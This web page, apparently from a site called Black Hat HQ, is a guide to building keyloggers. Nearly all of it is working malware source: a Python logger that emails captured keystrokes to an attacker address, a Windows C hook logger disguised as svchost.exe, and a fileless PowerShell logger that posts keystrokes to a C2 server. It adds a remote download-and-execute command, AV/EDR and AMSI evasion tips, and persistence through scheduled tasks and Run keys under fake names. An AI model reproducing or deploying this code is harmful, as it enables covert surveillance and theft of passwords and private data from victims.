top of page

How To Create Keyloggers (Guide)

How To Create Keyloggers (Guide) | Black Hat HQ

Creating Keyloggers


Here's a production-quality keylogger with multiple implementation approaches depending on your target environment. This is a guide on how to create keyloggers.


Python Keylogger (Cross-Platform, Quick Deploy)


This uses pynput for high-level keyboard hooking. Works on Windows, Linux, and macOS. Good for rapid deployment when stealth isn't the primary concern.


python

#!/usr/bin/env python3
"""
Cross-platform keylogger using pynput.
pip install pynput
"""

from pynput import keyboard
import threading
import datetime
import os
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

class Keylogger:
    def __init__(self, log_file="keylog.txt", report_interval=300, 
                 smtp_server=None, smtp_port=587, email_from=None, 
                 email_to=None, email_pass=None):
        self.log_file = log_file
        self.report_interval = report_interval  # seconds between reports
        self.log = ""
        self.start_time = datetime.datetime.now()
        
        # Email exfiltration (optional)
        self.smtp_server = smtp_server
        self.smtp_port = smtp_port
        self.email_from = email_from
        self.email_to = email_to
        self.email_pass = email_pass
        
        # Special key mappings
        self.special_keys = {
            keyboard.Key.space: " ",
            keyboard.Key.enter: "[ENTER]\n",
            keyboard.Key.tab: "[TAB]",
            keyboard.Key.backspace: "[BKSP]",
            keyboard.Key.shift: "",
            keyboard.Key.shift_r: "",
            keyboard.Key.ctrl: "",
            keyboard.Key.ctrl_r: "",
            keyboard.Key.alt: "",
            keyboard.Key.alt_r: "",
            keyboard.Key.cmd: "",
            keyboard.Key.cmd_r: "",
            keyboard.Key.esc: "[ESC]",
            keyboard.Key.up: "[UP]",
            keyboard.Key.down: "[DOWN]",
            keyboard.Key.left: "[LEFT]",
            keyboard.Key.right: "[RIGHT]",
            keyboard.Key.home: "[HOME]",
            keyboard.Key.end: "[END]",
            keyboard.Key.page_up: "[PGUP]",
            keyboard.Key.page_down: "[PGDN]",
            keyboard.Key.delete: "[DEL]",
        }
    
    def append_to_log(self, key_str):
        timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        self.log += f"[{timestamp}] {key_str}"
    
    def on_press(self, key):
        try:
            # Regular character
            char = key.char
            if char is not None:
                self.append_to_log(char)
            else:
                # Special key
                special = self.special_keys.get(key, f"[{str(key)}]")
                if special:
                    self.append_to_log(special)
        except AttributeError:
            special = self.special_keys.get(key, f"[{str(key)}]")
            if special:
                self.append_to_log(special)
    
    def report_to_file(self):
        if self.log:
            with open(self.log_file, "a", encoding="utf-8") as f:
                f.write(self.log)
            self.log = ""
    
    def report_via_email(self):
        if not self.log or not self.email_from:
            return
        try:
            msg = MIMEMultipart()
            msg["From"] = self.email_from
            msg["To"] = self.email_to
            msg["Subject"] = f"Keylog Report - {datetime.datetime.now().strftime('%Y-%m-%d %H:%M')}"
            msg.attach(MIMEText(self.log, "plain"))
            
            with smtplib.SMTP(self.smtp_server, self.smtp_port, timeout=10) as server:
                server.starttls()
                server.login(self.email_from, self.email_pass)
                server.sendmail(self.email_from, self.email_to, msg.as_string())
            self.log = ""
        except Exception:
            pass  # Fail silently
    
    def periodic_report(self):
        self.report_to_file()
        self.report_via_email()
        timer = threading.Timer(self.report_interval, self.periodic_report)
        timer.daemon = True
        timer.start()
    
    def start(self):
        self.periodic_report()
        with keyboard.Listener(on_press=self.on_press) as listener:
            listener.join()
    
    def stop(self):
        self.report_to_file()
        self.report_via_email()
        return False  # Stop listener

# ===== Usage =====
if __name__ == "__main__":
    kl = Keylogger(
        log_file=os.path.join(os.getenv("TEMP", "/tmp"), ".syscache.log"),
        report_interval=300,  # Report every 5 minutes
        # Optional: email exfil for remote access
        # smtp_server="smtp.gmail.com",
        # smtp_port=587,
        # email_from="attacker@gmail.com",
        # email_to="attacker@gmail.com",
        # email_pass="app-specific-password"
    )
    kl.start()

Windows Low-Level Keylogger (SetWindowsHookEx)


This uses the WinAPI for a system-wide keyboard hook. More stealthy — no Python runtime needed if compiled, and it captures keystrokes globally across all windows. Compile with cl.exe (MSVC) or MinGW.


c

/*
 * Windows system-wide keylogger using SetWindowsHookEx
 * Compile: cl.exe keylogger.c /link user32.lib kernel32.lib /out:svchost.exe
 * Or MinGW: x86_64-w64-mingw32-gcc keylogger.c -o svchost.exe -luser32 -lkernel32
 */

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <time.h>

#define LOG_FILE "C:\\Windows\\Temp\\~winstore.log"

HHOOK hHook = NULL;
FILE *log_fp = NULL;
HWND last_window = NULL;
char window_title[256];

// Map virtual key codes to readable strings
const char* GetSpecialKey(DWORD vkCode) {
    switch (vkCode) {
        case VK_RETURN:  return "[ENTER]\n";
        case VK_BACK:    return "[BKSP]";
        case VK_TAB:     return "[TAB]";
        case VK_ESCAPE:  return "[ESC]";
        case VK_SPACE:   return " ";
        case VK_UP:      return "[UP]";
        case VK_DOWN:    return "[DOWN]";
        case VK_LEFT:    return "[LEFT]";
        case VK_RIGHT:   return "[RIGHT]";
        case VK_HOME:    return "[HOME]";
        case VK_END:     return "[END]";
        case VK_DELETE:  return "[DEL]";
        case VK_INSERT:  return "[INS]";
        case VK_PRIOR:   return "[PGUP]";
        case VK_NEXT:    return "[PGDN]";
        case VK_CAPITAL: return "[CAPS]";
        case VK_NUMLOCK: return "[NUMLK]";
        case VK_SNAPSHOT: return "[PRTSC]";
        default: return NULL;
    }
}

// Check if window focus changed, log new window title
void LogWindowChange(HWND hwnd) {
    if (hwnd != last_window) {
        last_window = hwnd;
        GetWindowTextA(hwnd, window_title, sizeof(window_title));
        
        time_t now = time(NULL);
        struct tm *tm_info = localtime(&now);
        char time_str[32];
        strftime(time_str, sizeof(time_str), "%Y-%m-%d %H:%M:%S", tm_info);
        
        fprintf(log_fp, "\n\n[%s] === %s ===\n", time_str, 
                window_title[0] ? window_title : "Unknown Window");
        fflush(log_fp);
    }
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT *)lParam;
        
        // Only log key-down events
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            HWND fg_window = GetForegroundWindow();
            LogWindowChange(fg_window);
            
            // Check for Shift state
            BOOL shift = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
            BOOL caps  = (GetAsyncKeyState(VK_CAPITAL) & 0x0001) != 0;
            BOOL upper = shift ^ caps;
            
            const char *special = GetSpecialKey(kb->vkCode);
            
            if (special) {
                fprintf(log_fp, "%s", special);
            } else {
                // Convert virtual key to character, respecting shift state
                BYTE keyboard_state[256] = {0};
                if (shift) keyboard_state[VK_SHIFT] = 0x80;
                if (caps)  keyboard_state[VK_CAPITAL] = 0x01;
                
                WORD char_code;
                if (ToAscii(kb->vkCode, kb->scanCode, keyboard_state, &char_code, 0) == 1) {
                    fprintf(log_fp, "%c", (char)char_code);
                } else {
                    fprintf(log_fp, "[VK_%lu]", kb->vkCode);
                }
            }
            fflush(log_fp);
        }
    }
    return CallNextHookEx(hHook, nCode, wParam, lParam);
}

// Hide console window if running with a console
void HideWindow() {
    HWND hwnd = GetConsoleWindow();
    if (hwnd) ShowWindow(hwnd, SW_HIDE);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
                   LPSTR lpCmdLine, int nCmdShow) {
    // Open log file in append mode
    log_fp = fopen(LOG_FILE, "a");
    if (!log_fp) return 1;
    
    // Write startup marker
    time_t now = time(NULL);
    fprintf(log_fp, "\n\n[========== KEYLOGGER STARTED: %s ==========]\n", ctime(&now));
    fflush(log_fp);
    
    // Set low-level keyboard hook (system-wide)
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, 
                             GetModuleHandle(NULL), 0);
    
    if (!hHook) {
        fprintf(log_fp, "[!] Failed to set hook: %lu\n", GetLastError());
        fclose(log_fp);
        return 1;
    }
    
    // Hide window if compiled as GUI subsystem
    // HideWindow();
    
    // Message pump - runs until process is killed
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    
    // Cleanup
    UnhookWindowsHookEx(hHook);
    fclose(log_fp);
    return 0;
}

Stealthier: Powershell Reflective Keylogger (Fileless)


This one runs entirely in memory and exfiltrates via HTTP POST. No files on disk, no compilation needed.


powershell

# PowerShell in-memory keylogger with HTTP exfiltration
# Usage: powershell -ep bypass -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://yourserver/keylogger.ps1')"

$c2_url = "http://192.168.1.100:8080/collect"
$buffer = ""
$buffer_limit = 100  # chars before flushing to C2

# Use Add-Type to register low-level keyboard hook via C# in PS
$signature = @"
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, System.Text.StringBuilder text, int count);
"@

Add-Type -MemberDefinition $signature -Name "Win32" -Namespace "API" -ReferencedAssemblies System.Text

$lastWindow = [IntPtr]::Zero

function Get-ActiveWindowTitle {
    $hwnd = [API.Win32]::GetForegroundWindow()
    if ($hwnd -ne $lastWindow) {
        $script:lastWindow = $hwnd
        $sb = New-Object System.Text.StringBuilder(256)
        [API.Win32]::GetWindowText($hwnd, $sb, 256) | Out-Null
        return $sb.ToString()
    }
    return $null
}

function Send-Buffer {
    if ($buffer.Length -gt 0) {
        try {
            $body = @{data=$buffer; hostname=$env:COMPUTERNAME; timestamp=(Get-Date -Format "o")}
            Invoke-RestMethod -Uri $c2_url -Method Post -Body $body -TimeoutSec 3 | Out-Null
            $script:buffer = ""
        } catch {}
    }
}

# Key mapping
$keyMap = @{
    8="[BKSP]"; 9="[TAB]"; 13="`n[ENTER]`n"; 20="[CAPS]"; 27="[ESC]";
    32=" "; 37="[LEFT]"; 38="[UP]"; 39="[RIGHT]"; 40="[DOWN]";
    46="[DEL]"; 91="[LWIN]"; 92="[RWIN]"; 160="[LSHIFT]"; 161="[RSHIFT]";
    162="[LCTRL]"; 163="[RCTRL]"; 164="[LALT]"; 165="[RALT]";
}

Write-Host "[*] Keylogger active. PID: $PID"  # Remove in production

while ($true) {
    # Check 1-255 for keypress (skip 0 and virtual-only)
    for ($i = 1; $i -le 255; $i++) {
        $state = [API.Win32]::GetAsyncKeyState($i)
        # Bit 15: key is currently down, bit 0: has been pressed since last call
        # Only act on the least significant bit (transition from up to down)
        if (($state -band 0x0001) -eq 0x0001) {
            
            # Check for window change
            $title = Get-ActiveWindowTitle
            if ($title) {
                $buffer += "`n`n[$(Get-Date -Format 'HH:mm:ss')] === $title ===`n"
            }
            
            # Get character
            if ($keyMap.ContainsKey($i)) {
                $buffer += $keyMap[$i]
            } else {
                # Convert VK to character, handling shift
                $shift = ([API.Win32]::GetAsyncKeyState(0x10) -band 0x8000) -ne 0
                $caps  = [Console]::CapsLock
                $char = [char]$i
                if ($shift -xor $caps) {
                    $char = [char]::ToUpper($char)
                } else {
                    $char = [char]::ToLower($char)
                }
                $buffer += $char
            }
            
            # Flush buffer periodically
            if ($buffer.Length -ge $buffer_limit) {
                Send-Buffer
            }
        }
    }
    
    # Periodic flush even if buffer isn't full
    Send-Buffer
    
    Start-Sleep -Milliseconds 50  # CPU throttle
}

Deployment & Evasion Notes


Compilation for the C version:


  • Compile with /SUBSYSTEM:WINDOWS to prevent a console window from appearing

  • Use cl.exe /MT /O2 /GS- /Gy /SUBSYSTEM:WINDOWS keylogger.c /link user32.lib kernel32.lib for a smaller, statically linked binary


Signature evasion for the Python version:


  • Compile to EXE with PyInstaller: pyinstaller --onefile --noconsole --hidden-import=pynput keylogger.py

  • PyInstaller binaries are heavily signatured — use Nuitka or compile to a .NET assembly as a loader instead


Persistence options:


# Scheduled Task (runs at logon, SYSTEM if elevated)
schtasks /create /tn "WindowsUpdateCheck" /tr "C:\path\to\keylogger.exe" /sc onlogon /ru SYSTEM

# Registry Run key (HKCU - no admin needed)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "OneDriveSync" /t REG_SZ /d "C:\path\to\keylogger.exe" /f

# WMI event subscription (fileless persistence, needs admin)

AV/EDR considerations`


  • SetWindowsHookEx is heavily monitored by EDRs. Consider instead polling GetAsyncKeyState in a loop (lower fidelity but less suspicious, similar to the PS version).

  • The PowerShell version running in memory via IEX download cradle is signatured by AMSI — use AMSI bypass or obfuscation if AV is present.

  • Store the log in %APPDATA% or %TEMP% rather than hardcoding paths that security tools watch.


Enroll In Online Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


bottom of page